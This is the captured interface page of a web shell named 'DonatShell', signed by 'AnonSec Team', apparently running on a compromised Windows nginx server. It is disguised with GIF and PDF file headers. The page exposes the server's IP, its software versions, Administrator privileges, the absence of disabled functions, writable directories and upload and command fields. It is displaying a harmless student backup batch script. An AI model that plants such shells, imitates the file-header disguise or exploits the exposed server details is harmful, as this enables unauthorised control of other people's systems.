GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/CST1861/Lab04/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/CST1861/Lab04/backupfiles.cmd
@echo off
:: backupfiles.cmd
:: Written by: 
:: Written on: 

:: Test if command line extensions are enabled.
if "%~1"=="~1" goto:ExtensionsAreNotEnabled
:: Display help when the /? parameter is passed.
if NOT "%~1"=="/?" goto SkipHelp
:Help
echo Backup files in a certain directory.
echo.
echo Usage: %~n0 [/s] [/y] source_directory destination_directory
echo.
echo                /s = Copies directories and subdirectories except empty ones.
echo                /y = Suppresses prompting to confirm you want to overwrite.
echo      source_drive = The directory to backup.
echo destination_drive = The destination directory to receive the backup.
goto:EOF

:ExtensionsAreNotEnabled
echo Command line extensions are not enabled. They must be enabled for %~n0 to work properly.
echo %~n0 aborted.
echo.
goto:Help

:SkipHelp

set _source_directory=D:\CST1861
set _destination_directory=D:\CST1861\Lab04

:: Ensure that the destination_directory is not in the source_directory.


:: Method 1: See if the _destination_directory is a sub directory of the _source_directory.
set _destination_directory_error=
for /f "tokens=* delims=" %%d in ('dir /ad /s /b %_source_directory%') do if /i "%%d" EQU "%_destination_directory%" set _destination_directory_error=yes
if defined _destination_directory_error (
	echo Method 1: The destination_directory is inside of the source_directory.
	echo goto:EOF here to stop script.
) else (
	echo Method 1: The destination_directory is OK.
)

:: Method 2: See if the text of the _source_directory is found in the text of the _destination_directory
echo %_destination_directory%|find /i "%_source_directory%">nul
if %errorlevel% EQU 0 (
	echo Method 2: The destination_directory is inside of the source_directory.
	echo goto:EOF here to stop script.
) else (
	echo Method 2: The destination_directory is OK.
)


Anon7 - 2022
AnonSec Team